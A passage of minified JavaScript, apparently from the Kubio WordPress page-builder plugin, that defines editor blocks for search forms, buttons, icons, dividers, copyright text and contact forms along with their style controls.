visitors.","kubio"),A_={name:"kubio/search-form",category:"kubio-site-data",attributes:{kubio:{type:"object"},placeholderText:{type:"string",default:"Search..."},iconName:{type:"string",default:"font-awesome/search"}},supports:{kubio:{appearanceEffect:!0,default:{props:{layout:"inputAndButton",buttonType:"icon",buttonText:"Search"},style:{descendants:{input:{border:{top:{width:{value:1,unit:"px"},style:"solid"},right:{width:{value:1,unit:"px"},style:"solid"},bottom:{width:{value:1,unit:"px"},style:"solid"},left:{width:{value:1,unit:"px"},style:"solid"}}},button:{width:{unit:"px",value:60},background:{}},icon:{size:{value:16}}}}},elementsEnum:{OUTER:"outer",PLACEHOLDER:"placeholder",FORM:"form",INPUT:"input",BUTTON:"button",ICON:"icon",BUTTONTEXT:"buttonText"},elementsByName:{outer:{wrapper:!0,default:!0,className:["search-form-container"]},placeholder:{selector:{normal:".search-input::placeholder",hover:".search-input:hover::placeholder"}},form:{props:{tag:"form"},className:["search-form"]},input:{props:{tag:"input"},className:["search-input"]},button:{props:{tag:"button"},className:["search-button"]},icon:{props:{tag:"icon"},className:["button-icon"]},buttonText:{props:{tag:"span"}}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"form"},children:[{type:"element",props:{name:"lightbox"}},{type:"element",props:{name:"input",shouldRender:"computed.showInput"}},{type:"element",props:{name:"button",shouldRender:"computed.showButton"},children:[{type:"element",props:{name:"icon",shouldRender:"computed.showButtonIcon"}},{type:"element",props:{name:"buttonText",shouldRender:"computed.showButtonText"}}]}]}]}}}},j_=(0,Sn.extendBlockMeta)(A_,{title:(0,We.__)("Search","kubio"),icon:Tn.BlockIcons.Search,keywords:[(0,We.__)("find","kubio"),(0,We.__)("search","kubio")],apiVersion:2,supports:{kubio:{elementsByName:m_,isGutentagQuickInsertDefault:!0},reusable:!1,html:!1},edit:w_,variationsFilter:e=>null!=e&&e.isDefault?{...e,description:P_}:e}),B_=(0,Ze.mergeNoArrays)({},Iu,{spacing:{internal:!0}}),N_=(0,Ne.composeWithKubioDataAndStyle)((e=>{const{StyledElements:t}=e;return(0,Je.jsx)(t.Spacing,{children:(0,Je.jsx)(Dk,{...e,withToolbar:!1,withAlign:!0})})})),O_=(0,Sn.extendBlockMeta)({name:"kubio/button",category:"kubio-basic",attributes:{kubio:{type:"object"},text:{type:"string",source:"html",default:"Button text"},link:{type:"object"},linkType:{type:"string",default:"link"},recommendation:{type:"object",default:{}},preserveSpace:{type:"object"},icon:{type:"object",default:{name:null}}},supports:{anchor:!0,kubio:{appearanceEffect:!0,default:{style:{descendants:{link:{justifyContent:"center",typography:{decoration:"none"}},icon:{margin:{left:{value:10},right:{value:10}}}}},props:{buttonSize:"medium",buttonWidth:"fitToContent",showIcon:!1,iconPosition:"before"}},elementsEnum:{OUTER:"outer",LINK:"link",ICON:"icon",TEXT:"text",RECOMMENDATION_PAGE_IFRAME:"recommendationPageIframe"},elementsByName:{outer:{wrapper:!0,props:{tag:"span",className:["kubio-button-container"]}},link:{default:!0,prefixWithTag:!0,useWrapperPrefix:!0,props:{tag:"a",className:["h-w-100","h-global-transition"]}},text:{props:{tag:"span",className:["kubio-inherit-typography"]}},icon:{props:{tag:"icon"},statesConfig:{default:{stateRedirectElement:"link"}}}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"link"},children:[{type:"element",props:{name:"icon",shouldRender:"computed.showBeforeIcon"}},{type:"element",props:{name:"text"}},{type:"element",props:{name:"icon",shouldRender:"computed.showAfterIcon"}}]},{type:"element",props:{name:"recommendationPageIframe"}}]}}}},{name:"kubio/home-button",category:"kubio-site-data",supports:{kubio:{appearanceEffect:!0,elementsEnum:{SPACING:"spacing"},elementsByName:{spacing:{tag:"div",className:["h-w-100"],wrapper:!0,default:!0}},default:{style:{descendants:{spacing:{textAlign:"center"},link:{background:{color:"rgba(var(--kubio-color-1),1)"},typography:{color:"#ffffff"}}}}},template:{type:"element",children:[{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"link"},children:[{type:"element",props:{name:"icon",shouldRender:"computed.showBeforeIcon"}},{type:"element",props:{name:"text"}},{type:"element",props:{name:"icon",shouldRender:"computed.showAfterIcon"}}]}]}]}}}}),R_=(0,Sn.extendBlockMeta)(O_,{title:(0,We.__)("Home Button","kubio"),keywords:[(0,We.__)("home","kubio")],icon:Tn.BlockIcons.HomeButton,apiVersion:2,supports:{kubio:{elementsByName:B_},reusable:!1,html:!1},edit:N_,save:({attributes:e})=>(0,Je.jsx)(st.RichText.Content,{value:e.text})});(0,Ne.onBlockVariationRegistered)(hn.BUTTON,((e,t)=>{if(!e.isDefault)return!1;const{name:o,title:n}=R_;return t(o,{...e,name:o,title:n,description:(0,We.__)("Whenever the website visitors will click on this button, theyβll be taken to your homepage. Place it on all of your pages for better navigation.","kubio"),attributes:{...e.attributes,text:(0,We.__)("Go to Homepage!","kubio"),icon:{name:"font-awesome/arrow-right"},kubio:{...e.attributes.kubio,props:{...e.attributes.kubio.props,buttonSize:"medium",showIcon:!1,iconPosition:"after",textAlign:"center"}}}}),!0}));const D_=e=>{const{computed:t,StyledElements:o}=e,{name:n,link:a}=t;return(0,Je.jsx)(o.Outer,{children:(0,Je.jsx)(ut.LinkWrapper,{link:a,children:(0,Je.jsx)(o.Inner,{tag:ut.CanvasIcon,name:n})})})},L_=(0,De.compose)((0,Ne.withColibriData)(((e,t)=>({name:e.getAttribute("name"),link:e.getAttribute("link")}))),(0,Ne.withStyledElements)((({computed:e}={})=>({[Wp.OUTER]:{},[Wp.INNER]:{}}))),(0,Ne.withRedirectSelectionToParentCondition)([hn.DOWN_ARROW])),M_=L_(D_);L_(D_),(0,Pe.addFilter)("kubio.allowedRightClick","kubio.allowedRightClick.icon",((e,t)=>(t.blockName!==hn.ICON||t.withParent().blockName!==hn.SLIDER_ARROW)&&e));const W_=(0,De.createHigherOrderComponent)((e=>t=>{const{dataHelper:o}=(0,Ne.useKubioBlockContext)(),n=o.withParent().blockName===hn.VIDEO;return(0,Je.jsx)(e,{...t,withLinkControl:n?!n:t.withLinkControl,withAlignControl:n?!n:t.withAlignControl})}),"checkParent")((({withLinkControl:e,withAlignControl:t,styledContainer:o=Wp.OUTER,path:n="name"})=>{const a=(0,bt.useInheritedTextAlign)();return(0,Je.jsxs)(Re.PanelBody,{title:(0,We.__)("Icon Properties","kubio"),children:[(0,Je.jsx)(ut.IconPickerWithPath,{path:n,type:Ne.WithDataPathTypes.ATTRIBUTE}),t&&(0,Je.jsx)(ut.HorizontalTextAlignControlWithPath,{path:"textAlign",defaultValue:a,type:Ne.WithDataPathTypes.STYLE,style:o}),e&&(0,Je.jsx)(ut.LinkControlWithData,{label:(0,We.__)("Icon link","kubio")})]})})),H_=({withLinkControl:e=!0,withAlignControl:t=!0,styledContainer:o=Wp.OUTER})=>(0,Je.jsx)(Oe.ContentInspectorControls,{children:(0,Je.jsx)(W_,{withLinkControl:e,withAlignControl:t,styledContainer:o})}),G_=({styledElement:e=Wp.INNER})=>(0,Je.jsxs)(Oe.StyleInspectorControls,{children:[(0,Je.jsx)(Mp,{styledElement:e}),(0,Je.jsx)(Up,{styledElement:e})]}),U_=(0,We.__)("Add attractive icons to web pages. 100+ free icons are available from the most popular libraries out there. Fully customizable.","kubio"),F_={name:"kubio/icon",category:"kubio-basic",attributes:{kubio:{type:"object"},link:{type:"object",default:{typeOpenLink:"sameWindow"}},name:{type:"string",default:"font-awesome/star"}},supports:{kubio:{appearanceEffect:!0,elementsEnum:{OUTER:"outer",INNER:"inner"},elementsByName:{outer:{wrapper:!0},inner:{default:!0,props:{tag:"icon",className:["h-global-transition"]}}},template:{type:"element",props:{name:"outer"},children:[{type:"LinkWrapper",children:[{type:"element",props:{name:"inner"}}]}]},default:{style:{descendants:{inner:{width:{value:"100",unit:"px"},height:{value:"100",unit:"px"}}}}}}}},z_=(0,Sn.extendBlockMeta)(F_,{title:(0,We.__)("Icon","kubio"),keywords:[(0,We.__)("icon","kubio"),(0,We.__)("symbol","kubio")],icon:Tn.BlockIcons.Icon,apiVersion:2,supports:{kubio:{elementsByName:Hp,isGutentagQuickInsertDefault:!0},reusable:!1,html:!1},edit:function(e){return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(H_,{}),(0,Je.jsx)(G_,{}),(0,Je.jsx)(M_,{...e})]})},variationsFilter:e=>null!=e&&e.isDefault?{...e,description:U_}:e}),V_="outer",Y_="line",$_="inner",K_="width-container",q_={[$_]:{label:(0,We.__)("Icon","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING],states:["normal"]}},[Y_]:{label:(0,We.__)("Line","kubio"),supports:{styles:[jn.StylesEnum.BORDER],states:["normal"],filters:{border:{supportsBorder:!1,allowInset:!1}}}},[V_]:{label:(0,We.__)("Container","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING],states:["normal"]}}},X_="icon",Q_=[{value:"solid",label:(0,We.__)("Solid","kubio")},{value:"dashed",label:(0,We.__)("Dashed","kubio")},{value:"dotted",label:(0,We.__)("Dotted","kubio")},{value:"double",label:(0,We.__)("Double","kubio")}],Z_=(0,De.compose)((0,Ne.withColibriData)((e=>({type:e.getProp("type"),icon:e.getAttribute("iconName","")}))),(0,Ne.withStyledElements)((({computed:e}={})=>({[V_]:{className:()=>[]},[Y_]:{className:()=>[]},[$_]:{className:()=>[]}}))))((e=>{const{computed:t,StyledElements:o}=e,{type:n,icon:a}=t;return(0,Je.jsx)(o.Outer,{children:(0,Je.jsxs)(o.WidthContainer,{children:[(0,Je.jsx)(o.Line,{}),n===X_?(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(o.Inner,{tag:ut.CanvasIcon,name:a}),(0,Je.jsx)(o.Line,{})]}):null]})})})),J_=(0,Ne.withColibriDataAutoSave)((e=>({dividerType:e.getProp("type"),setDividerType:t=>e.setProp("type",t)})))((({computed:e,...t})=>{const{dividerType:o,setDividerType:n}=e,[a,i]=(0,Me.useState)(o===X_),r=e=>e.dividerType===X_?(0,Je.jsx)(ut.IconPickerWithPath,{path:"iconName",type:Ne.WithDataPathTypes.ATTRIBUTE}):"";return(0,Je.jsxs)(ut.KubioPanelBody,{title:(0,We.__)("Divider Properties","kubio"),children:[(0,Je.jsx)(ut.InlineLabeledControl,{label:(0,We.__)("With icon","kubio"),children:(0,Je.jsx)(ut.ToggleControl,{value:a,onChange:e=>{i(e),n(e?X_:"line")}})}),(0,Je.jsx)(r,{dividerType:o}),(0,Je.jsx)(ut.HorizontalTextAlignControlWithPath,{path:"textAlign",type:Ne.WithDataPathTypes.STYLE,style:V_})]})})),ev=J_,tv=e=>(0,Je.jsx)(Oe.ContentInspectorControls,{children:(0,Je.jsx)(ev,{})}),ov={styledComponent:$_},nv=(0,Ne.withComputedData)((e=>({iconSpacing:{value:e.getStyle("margin.left",{},ov),onChange:t=>{e.setStyle("margin.left",t,ov),e.setStyle("margin.right",t,ov)}},dividerType:e.getProp("type")})))((({computed:e})=>{const t={type:Ne.WithDataPathTypes.STYLE,style:$_},{iconSpacing:o,dividerType:n}=e;return n===X_&&(0,Je.jsxs)(ut.KubioPanelBody,{title:(0,We.__)("Icon","kubio"),initialOpen:!1,children:[(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Icon color","kubio"),path:"fill",...t}),(0,Je.jsx)(ut.RangeWithUnitWithPath,{label:(0,We.__)("Icon size","kubio"),max:100,path:"size",value:40,defaultSliderValue:40,resetValue:40,...t}),(0,Je.jsx)(ut.RangeWithUnitControl,{label:(0,We.__)("Icon spacing","kubio"),max:50,...o})]})})),av=nv,iv={type:Ne.WithDataPathTypes.STYLE,style:Y_},rv={units:[{label:"PX",value:"px"},{label:"%",value:"%"}],optionsByUnit:{px:{min:0,max:500,step:1},"%":{min:0,max:100,step:1}}},sv=(0,Ne.withComputedData)((e=>({spacing:{value:e.getStyle("padding.top",null,{styledComponent:V_}),onChange:t=>{const o={styledComponent:V_};e.setStyle("padding.top",t,o),e.setStyle("padding.bottom",t,o)}}})))((({computed:e}=props)=>{const{spacing:t}=e;return(0,Je.jsxs)(ut.KubioPanelBody,{title:(0,We.__)("Line","kubio"),children:[(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Color","kubio"),path:"border.bottom.color",...iv}),(0,Je.jsx)(ut.SelectControlWithPath,{label:(0,We.__)("Line type","kubio"),type:Ne.WithDataPathTypes.ATTRIBUTE,path:"border.bottom.style",className:"line-type",options:Q_,...iv}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.RangeWithUnitWithPath,{label:(0,We.__)("Thickness","kubio"),min:1,max:10,path:"border.bottom.width",resetValue:3,...iv}),(0,Je.jsx)(ut.RangeWithUnitWithPath,{label:(0,We.__)("Width","kubio"),path:"width",...rv,type:Ne.WithDataPathTypes.STYLE,style:K_}),(0,Je.jsx)(ut.RangeWithUnitControl,{label:(0,We.__)("Vertical spacing","kubio"),max:100,min:0,...t})]})})),lv=sv,uv=()=>(0,Je.jsxs)(Oe.StyleInspectorControls,{children:[(0,Je.jsx)(lv,{}),(0,Je.jsx)(av,{})]}),cv=(0,Ne.withPropsChecker)((function(e){return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(tv,{}),(0,Je.jsx)(uv,{}),(0,Je.jsx)(Z_,{...e})]})})),pv=(0,We.__)("Use dividers to separate website sections in a creative way. Customize their color, line thickness, and more.","kubio"),dv={name:"kubio/divider",category:"kubio-basic",attributes:{kubio:{type:"object"},iconName:{type:"string"}},supports:{kubio:{appearanceEffect:!0,default:{props:{type:"icon"},style:{descendants:{line:{border:{top:{style:"none"},left:{style:"none"},right:{style:"none"},bottom:{color:"rgba(var(--kubio-color-1),1)",style:"solid",width:{value:3,unit:"px"}}}},"width-container":{width:{value:100,unit:"px"}},outer:{padding:{top:{value:10,unit:"px"},bottom:{value:10,unit:"px"}}},inner:{fill:"rgba(var(--kubio-color-1),1)",width:{value:40,unit:"px"},height:{value:40,unit:"px"},margin:{left:{value:"10",unit:"px"},right:{value:"10",unit:"px"}}}}}},elementsEnum:{OUTER:"outer",LINE:"line",INNER:"inner",WIDTH_CONTAINER:"width-container"},elementsByName:{outer:{wrapper:!0,default:!0,className:["kubio-divider"]},"width-container":{internal:!0},line:{className:["canvas-divider"]},inner:{props:{tag:"icon"}}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"width-container"},children:[{type:"element",props:{name:"line"}},{type:"element",props:{name:"inner",shouldRender:"computed.iconEnabled"}},{type:"element",props:{name:"line",shouldRender:"computed.iconEnabled"}}]}]}}}},mv=(0,Sn.extendBlockMeta)(dv,{title:(0,We.__)("Divider","kubio"),icon:Tn.BlockIcons.Divider,keywords:[(0,We.__)("separator","kubio"),(0,We.__)("hr","kubio"),(0,We.__)("divider","kubio"),(0,We.__)("line","kubio")],apiVersion:2,supports:{kubio:{elementsByName:q_},reusable:!1,html:!1},edit:cv,variationsFilter:e=>null!=e&&e.isDefault?{...e,description:pv}:e}),hv=(0,De.compose)((0,Ne.withColibriData)((e=>({template:e.getAttribute("template")}))),(0,Le.withSelect)((e=>{const{getEntityRecord:t}=e("core");return{siteName:(t("root","__unstableBase",void 0)||{}).name}})),(0,Ne.withStyledElements)())((e=>{const{computed:t,StyledElements:o,siteName:n,clientId:a}=e,{template:i}=t,r=(0,Me.useRef)(),s=(0,Me.useMemo)((()=>{let e=i||"© {year} {site-name}.";return e=e.replace(/{year}/g,(new Date).getFullYear()).replace(/{site-name}/g,n),e=`<p>${e}</p>`,e.replace(/href=['"](.*?)['"]/gim,"")}),[i,n]),[l,u]=(0,lt.useProModal)(),{selectBlock:c}=(0,Le.useDispatch)("core/block-editor");return(0,Me.useEffect)((()=>{if(!(0,Ze.getBackendData)("activatedOnStage2"))return;const{ownerDocument:e}=r.current,t=e=>{const t=r.current.closest("[data-block]");if(e.target===t||t.contains(e.target)){const t=r.current.closest(".h-template-part-overlay__content");if(t){const e=t.closest("[data-block]");e&&c(e.getAttribute("data-block"))}else e.preventDefault(),e.stopPropagation(),u(e)}};return e.addEventListener("click",t),()=>{e.removeEventListener("click",t)}}),[u]),(0,Je.jsxs)(o.Outer,{children:[(0,Je.jsx)("div",{ref:r,dangerouslySetInnerHTML:{__html:s}}),(0,Je.jsx)(lt.ProModalTextContext.Provider,{value:(0,We.__)("Editing the copyright content is available in the PRO version of Kubio.","kubio"),children:(0,Je.jsx)(l,{urlArgs:{source:"copyright-block",content:"copyright-block"}})})]})})),bv={toolbar1:"bold,italic,link,kubioTags",onSetup:e=>{e.addButton("kubioTags",{text:(0,We.__)("Tags","kubio"),type:"menubutton",menu:[{text:(0,We.__)("Year","kubio"),onclick(){e.insertContent("{year}")}},{text:(0,We.__)("Site name","kubio"),onclick(){e.insertContent("{site-name}")}}]})}};let gv=!1;gv=(0,Ze.getBackendData)("activatedOnStage2");const yv=(0,Ne.withColibriDataAutoSave)((()=>{}))((()=>(0,Je.jsx)(Re.PanelBody,{title:(0,We.__)("Copyright Text","kubio"),children:!gv&&(0,Je.jsx)(ut.TinymceControlWithPath,{label:(0,We.__)("Copyright text","kubio"),type:Ne.WithDataPathTypes.ATTRIBUTE,path:"template",editorSettings:bv})}))),kv=()=>(0,Je.jsx)(Oe.ContentInspectorControls,{children:(0,Je.jsx)(yv,{})}),fv="container",_v={[fv]:{label:(0,We.__)("Container","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.SPACING,jn.StylesEnum.BORDER,jn.StylesEnum.TYPOGRAPHY],states:jn.StatesPresetsEnum.BASIC}}},vv=()=>{const e={type:Ne.WithDataPathTypes.STYLE,style:fv};return(0,Je.jsxs)(Re.PanelBody,{title:(0,We.__)("Text","kubio"),children:[(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Text color","kubio"),path:"typography.color",...e,defaultValue:(0,bt.useInheritedTypographyValue)("p","color")}),(0,Je.jsx)(ut.TypographyControlPopupWithPath,{path:"typography",type:Ne.WithDataPathTypes.STYLE,nodeType:"p"}),(0,Je.jsx)(ut.TextShadowControlPopupWithPath,{path:"textShadow",type:Ne.WithDataPathTypes.STYLE})]})},xv=()=>(0,Je.jsx)(Oe.StyleInspectorControls,{children:(0,Je.jsx)(vv,{})}),Cv=(0,Ne.withPropsChecker)((function(e){return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(kv,{}),(0,Je.jsx)(xv,{}),(0,Je.jsx)(hv,{...e})]})})),Iv={name:"kubio/copyright",category:"kubio-site-data",attributes:{kubio:{type:"object"},template:{type:"string",source:"html",default:"Β© {year} {site-name}"}},supports:{kubio:{appearanceEffect:!0,elementsEnum:{OUTER:"outer",CONTAINER:"container"},elementsByName:{outer:{wrapper:!0},container:{default:!0,selector:"p"}},template:{type:"element",props:{name:"outer"}}}}},Ev=(0,Sn.extendBlockMeta)(Iv,{title:(0,We.__)("Copyright Text","kubio"),description:(0,We.__)("Add a stylish copyright notice to your website whenever it becomes available to the public.","kubio"),keywords:[(0,We.__)("copyright","kubio"),(0,We.__)("trademark","kubio")],icon:Tn.BlockIcons.Copyright,supports:{kubio:{elementsByName:_v},reusable:!1,html:!1},edit:Cv,save:({attributes:e})=>(0,Je.jsx)(st.RichText.Content,{value:e.template})}),Tv=({shortcode:e,onChange:t,...o})=>{const n=(e=>{let t="";return t=je().isString(e)?e:(0,Ne.shortcodeToString)(e),t})(e);return(0,Je.jsx)(Le.AsyncModeProvider,{value:!0,children:(0,Je.jsx)(Ne.ServerSideRender,{onChange:t,block:hn.SHORTCODE,attributes:{shortcode:n,inEditor:!0},...o})})},Sv=["input:not([type=hidden]):not([type=submit]):not([type=button])","textarea","select"].join(","),wv=[{label:(0,We.__)("Normal","kubio"),value:jn.StatesEnum.NORMAL},{label:(0,We.__)("Hover","kubio"),value:jn.StatesEnum.HOVER},{label:(0,We.__)("Focus","kubio"),value:jn.StatesEnum.FOCUS}],Pv={values:jn.StatesEnum,options:wv,default:jn.StatesEnum.NORMAL},Av=[{label:(0,We.__)("Normal","kubio"),value:jn.StatesEnum.NORMAL},{label:(0,We.__)("Hover","kubio"),value:jn.StatesEnum.HOVER}],jv={values:jn.StatesEnum,options:Av,default:jn.StatesEnum.NORMAL},Bv={SHORTCODE:"shortcode",FORM:"form"},Nv=[{value:Bv.FORM,label:(0,We.__)("Form","kubio")},{value:Bv.SHORTCODE,label:(0,We.__)("Shortcode","kubio")}],Ov={shortcodeControlType:{values:Bv,options:Nv},fieldsStates:Pv,buttonStates:jv},{shortcodeControlType:Rv}=Ov,Dv=({dataHelper:e,isForPlaceholder:t=!1,formListStore:o,useFormApi:n=je().noop,supportedPlugins:a=[],pluginSlug:i})=>{const r={value:e.getAttribute("shortcode"),onChange:t=>{e.setAttribute("shortcode",t),e.getAttribute("formId")&&e.setAttribute("formId","")}},s=e.getContextProp("shortcodeControlType"),{getFormOptions:l,getLoading:u}=(0,Le.useSelect)((e=>e(o))),[c,p]=(0,Me.useState)(!1),[d,m]=(0,Me.useState)(!1),{retrieve:h}=n(),b=l(),g=u(),y=s===Rv.values.SHORTCODE,k=s===Rv.values.FORM,f=e.getAttribute("formId"),_=(({options:e,onChangeShortcode:t,onChangeFormType:o})=>n=>{"custom"!==n&&t((t=>{let o=null;e.forEach((e=>{je().get(e,"items",[]).forEach((n=>{(null==n?void 0:n.value)===t&&(o=e.value)}))}));const n={tag:o,attrs:{named:{id:t}}};return(0,Ne.shortcodeToString)(n)})(n)),o(n)})({options:b,onChangeShortcode:t=>{e.setAttribute("shortcode",t)},onChangeFormType:t=>{e.setAttribute("formId",t)}}),v=e.getProp("autoSelectFormAtMount"),{createSuccessNotice:x}=(0,Ne.useKubioNotices)();(0,Me.useEffect)((()=>{v&&async function(){if(0===b.length){if(p(!0),!await qv({createSuccessNotice:x,pluginSlug:i}))return;p(!1),h()}m(!0)}()}),[v,x]),(0,Me.useEffect)((()=>{if(!g&&d){m(!1),e.setProp("autoSelectFormAtMount",!1);const t=je().get(b,"0.items.0.value");t&&_(t)}}),[g,d]);const C=t?void 0:(0,We.__)("Add form","kubio");return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(ut.ToggleGroup,{label:C,options:Rv.options,value:s,onChange:t=>{e.setContextProp("shortcodeControlType",t)}}),k&&(0,Je.jsx)(Hv,{isForPlaceholder:t,value:f,onChange:_,supportedPlugins:a,options:b,isLoading:g,processingPlugin:c,onRefreshFormList:h}),y&&(0,Je.jsx)(Lv,{...r,isForPlaceholder:t})]})};function Lv({isForPlaceholder:e,...t}){const o=e?Wv:Mv;return(0,Je.jsx)(o,{rows:2,placeholder:(0,We.__)("[Insert shortcode here]","kubio"),...t})}function Mv(e){return(0,Je.jsx)(ut.TextareaControl,{...e})}function Wv({...e}){const{value:t,onChange:o}=e,[n,a]=(0,Me.useState)(t);return(0,Me.useEffect)((()=>{a(t)}),[t]),(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(ut.TextareaControl,{...e,value:n,onChange:a,className:"kubio-ui-reset"}),(0,Je.jsx)(Re.BaseControl,{children:(0,Je.jsx)(Re.Button,{onClick:()=>{o(n)},isPrimary:!0,children:(0,We.__)("Use shortcode","kubio")})})]})}function Hv({...e}){const{options:t,isForPlaceholder:o,supportedPlugins:n,isLoading:a,processingPlugin:i=!1,onRefreshFormList:r}=e,s=0===t.length,[l,u]=(0,Me.useState)(!1),c=o?zv:Fv,p=()=>{u(!0),r()};return(0,Me.useEffect)((()=>{a!==l&&u(a)}),[a]),(0,Je.jsxs)("div",{className:Ge()("kubio-block-placeholder-form__controls",{"kubio-block-placeholder-form__controls--sidebar":!o}),children:[a&&(0,Je.jsx)(Gv,{}),!a&&i&&(0,Je.jsx)(Uv,{}),!a&&!i&&(0,Je.jsxs)(Je.Fragment,{children:[s&&(0,Je.jsx)(Vv,{supportedPlugins:n}),!s&&(0,Je.jsx)(c,{placeholder:(0,We.__)("Select a form","kubio"),onReset:p,disabled:l,...e}),s&&(0,Je.jsx)(Re.BaseControl,{children:(0,Je.jsx)(Re.Button,{onClick:p,isPrimary:!0,disabled:l,className:"w-100 justify-content-center kubio-form-shortcode-controls__loading-button",children:(0,Je.jsx)("span",{children:(0,We.__)("Refresh form list","kubio")})})})]})]})}function Gv(){return(0,Je.jsxs)("div",{className:"kubio-block-placeholder-form__controls__kubio-loader",children:[(0,Je.jsx)(Ba,{icon:Tn.KubioLoader}),(0,Je.jsx)("span",{className:"kubio-block-placeholder-form__controls__kubio-loader__text",children:(0,We.__)("Loading formsβ¦","kubio")})]})}function Uv(){return(0,Je.jsxs)("div",{className:"kubio-block-placeholder-form__controls__kubio-loader",children:[(0,Je.jsx)(Ba,{icon:Tn.KubioLoader}),(0,Je.jsx)("span",{className:"kubio-block-placeholder-form__controls__kubio-loader__text",children:(0,We.__)("Installing and/or activating required pluginβ¦","kubio")})]})}function Fv({...e}){return(0,Je.jsx)(ut.GutentagSelectControl,{...e,allowReset:!0,resetIcon:Tn.UpdateIcon,resetLabel:(0,We.__)("Refresh form list","kubio")})}function zv({...e}){const{value:t,onChange:o,options:n,onReset:a,disabled:i=!1}=e,[r,s]=(0,Me.useState)(t);return(0,Me.useEffect)((()=>{r!==t&&s(t)}),[t]),(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(ut.GutentagSelectControl,{...e,options:n,value:r,onChange:s,onReset:a,allowReset:!0,resetIcon:Tn.UpdateIcon,resetLabel:(0,We.__)("Refresh form list","kubio")}),(0,Je.jsx)(Re.BaseControl,{children:(0,Je.jsx)(Re.Button,{onClick:()=>{"custom"!==r&&r&&o(r)},isPrimary:!0,disabled:i||!r,children:(0,We.__)("Use Form","kubio")})})]})}function Vv({supportedPlugins:e}){const t=e=>{try{const{admin_url:t}=window.kubioUtilsData,o=new URL(`${t}plugin-install.php`),n=o.searchParams;return n.append("s",e),n.append("tab","search"),n.append("type","term"),o.toString()}catch(e){return"#"}};return(0,Je.jsx)(ut.ControlNotice,{content:(0,Je.jsxs)("span",{className:"h-form-placeholder__notice",children:[(0,Je.jsx)("b",{children:(0,We.__)("No forms detected.","kubio")}),"Β ",(0,Je.jsx)("span",{children:(0,We.__)("You can use forms from the following plugins: ","kubio")}),e.map(((o,n)=>(0,Je.jsxs)("span",{children:[(0,Je.jsx)("a",{onClick:()=>{(e=>{const o=t(e.value);o&&window.open(o,"_blank").focus()})(o)},href:t(o.value),target:"_blank",rel:"noreferrer",children:o.label}),n!==e.length-1&&(0,Je.jsx)("span",{children:",Β "})]},o.value)))]})})}const Yv={},$v={};let Kv;const qv=async({createSuccessNotice:e=je().noop,pluginSlug:t="contact-form-7"}={})=>{if(Kv&&(await Kv,Kv=null),Yv[t]||$v[t])return Yv[t];$v[t]=!0;try{Kv=(0,Ne.installAndActivatePlugin)(t),await Kv,Yv[t]=!0,e((0,We.sprintf)(// translators: %s: plugin name // translators: %s: plugin name (0,We.__)("%s plugin was successfully installed","kubio"),t.split("-").map((e=>e[0].toUpperCase()+e.slice(1))).join(" ")))}catch(e){Yv[t]=!1}return $v[t]=!1,Yv[t]},Xv={INFO:"info",ERROR:"error",SUCCESS:"success"},Qv={values:Xv,options:[{label:(0,We.__)("Info","kubio"),value:Xv.INFO},{label:(0,We.__)("Error","kubio"),value:Xv.ERROR},{label:(0,We.__)("Success","kubio"),value:Xv.SUCCESS}],default:Xv.INFO},Zv={CONTACT_FORM_7:"contact-form-7",WP_FORM:"wpforms",FORMINATOR:"forminator_form",OTHER:"other"},Jv=[{label:(0,We.__)("Forminator","kubio"),value:"forminator"},{label:(0,We.__)("Contact Form 7","kubio"),value:"contact form 7"},{label:(0,We.__)("WpForms","kubio"),value:"WPForms"}],ex=e=>Object.values(Zv).find((t=>e.includes(t)))||Zv.OTHER,tx=e=>({contactForm:e===Zv.CONTACT_FORM_7,forminator:e===Zv.FORMINATOR,wpForm:e===Zv.WP_FORM,other:e===Zv.OTHER}),ox={...Ov,notices:Qv,supportedPlugins:Jv},nx=(0,We.__)("Use one of the existing contact forms available, or paste a custom shortcode","kubio"),ax=(0,We.__)("Contact form","kubio"),ix=({dataHelper:e,...t})=>(0,Je.jsx)(ut.BlockPlaceholder,{title:ax,description:nx,icon:Tn.BlockIcons.Contact,children:(0,Je.jsx)(Dv,{dataHelper:e,formListStore:qi,useFormApi:Xi,supportedPlugins:ox.supportedPlugins,isForPlaceholder:!0,pluginSlug:Be.DEFAULT_PLUGIN_FOR_PURPOSE.CONTACT_FORM,...t})}),rx="formContainer",sx="formWrapper",lx="formTypography",ux="labels",cx="fields",px="submitButton",dx="errorNotice",mx="infoNotice",hx="successNotice",bx="validationErrors",gx="placeholder",yx=[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING,jn.StylesEnum.TYPOGRAPHY],kx=[...yx,jn.StylesEnum.TEXT_SHADOW],fx={[rx]:{label:(0,We.__)("Form container","kubio"),supports:{styles:yx,states:["normal","hover"]}},[lx]:{internal:!0},[ux]:{label:(0,We.__)("Labels","kubio"),supports:{styles:[jn.StylesEnum.TYPOGRAPHY,jn.StylesEnum.SPACING],states:["normal"]}},[cx]:{label:(0,We.__)("Fields","kubio"),supports:{styles:yx,states:["normal","hover","focus"],filters:{[jn.StylesEnum.TYPOGRAPHY]:{openedSidebar:"document/general-settings/form-elements"}}}},[px]:{label:(0,We.__)("Submit button","kubio"),supports:{styles:yx,states:["normal","hover"],filters:{[jn.StylesEnum.TYPOGRAPHY]:{openedSidebar:"document/general-settings/form-elements"}}}},[dx]:{label:(0,We.__)("Error 